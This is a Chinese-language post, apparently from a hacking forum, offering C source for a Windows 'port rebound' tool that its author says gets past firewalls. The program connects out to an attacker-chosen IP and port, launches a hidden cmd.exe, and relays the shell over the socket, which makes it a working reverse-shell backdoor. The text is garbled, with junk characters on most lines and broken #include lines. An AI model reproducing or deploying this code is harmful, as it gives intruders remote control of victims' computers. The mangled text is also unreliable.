Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 *^b<CZd9  
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/* ============================== \"W_\&X  
Rebound port in Windows NT u*i[A\Y  
By wind,2006/7 N J_#;t#j  
===============================*/ tyyfMA?'L;  
#include 0?d}Oj  
#include 5u3SP?.&  
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#pragma comment(lib,"wsock32.lib") .B|a.-oA4  
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void OutputShell(); Af%#&r7W  
SOCKET sClient; 4x%R4tk  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; |37y ="  
#X?#v7i",D  
void main(int argc,char **argv) m?#J`?E  
{ ?g\SF}2  
WSADATA stWsaData; 7o5~J)qIC  
int nRet; a]mPc^h  
SOCKADDR_IN stSaiClient,stSaiServer; V]I+>Zn| 7  
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if(argc != 3) voAen&>!  
{ s@c.nT%BYL  
printf("Useage:\n\rRebound DestIP DestPort\n"); ,Xt!dT-  
return; zBd)E21H  
} FY6!)/P0I7  
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WSAStartup(MAKEWORD(2,2),&stWsaData); mrvPzoF,]  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); F;@A2WD  
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stSaiClient.sin_family = AF_INET; uEPdL':}2  
stSaiClient.sin_port = htons(0); z'+k]N9Q^  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); f-b#F2I  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 'HdOW[3o  
{ _YM]U`*  
printf("Bind Socket Failed!\n"); gcNpA?mC|u  
return; ]fgYO+  
} 1FQ_`wF4  
lp=8RbQYC  
stSaiServer.sin_family = AF_INET; wmf#3"n  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); uY~xHV_-  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 3S_H hvB  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 9q=\_[\[  
{ D^%DYp  
printf("Connect Error!"); yA#-}Y|]b  
return; -P5M(Rt  
} DKGZm<G>  
OutputShell(); B1C"F-2d  
} ==z,vxr  
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void OutputShell() c8 xZT  
{ s[HQq;S  
char szBuff[1024];  b jq1",  
SECURITY_ATTRIBUTES stSecurityAttributes; 4xE [S  
OSVERSIONINFO stOsversionInfo; ;.g
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HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 4}\Dr %US  
STARTUPINFO stStartupInfo; TT0~41&l  
char *szShell; x$
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PROCESS_INFORMATION stProcessInformation; Z} 8
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unsigned long lBytesRead; ~!Q\\_  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); D`G ;kp  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); H)
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stSecurityAttributes.lpSecurityDescriptor = 0; z'FJx2  
stSecurityAttributes.bInheritHandle = TRUE; 34$qV{Y%y  
N){/#3  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); k^ZcgHHgb  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); '#fwNbD  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ,X2CV INb}  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; #<\A[Po  
stStartupInfo.wShowWindow = SW_HIDE; !PFc)J  
stStartupInfo.hStdInput = hReadPipe; _Zq2 <:  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Po
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GetVersionEx(&stOsversionInfo); o y'GAc/  
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switch(stOsversionInfo.dwPlatformId) 1gZW~6a}  
{ T%\f$jh6  
case 1: 9? #pqw  
szShell = "command.com"; A{!D7kwTz~  
break; .-6B6IEI_"  
default: n;eK2+}]  
szShell = "cmd.exe"; f~LM-7!zf}  
break; 2J
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} 8u401ddg  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ^_cR  
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send(sClient,szMsg,77,0); tyH*epanw  
while(1) Z|z+[V}[  
{ 3+%c*}KC~  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); tWNz:V  
if(lBytesRead) fh1rmet&Ts  
{ (mOUbO8  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); -qPYm?$  
send(sClient,szBuff,lBytesRead,0); 0;b%@_E  
} jH1!'1s|  
else ;n9r;$!f  
{ drJ<&1O  
lBytesRead=recv(sClient,szBuff,1024,0); /uc*V6Xd (  
if(lBytesRead<=0) break; H'L~8>  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); i_? S#L]h  
} Wm5/>Cu,  
} &J\V !uVo  
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return; L y!!+UM\  
}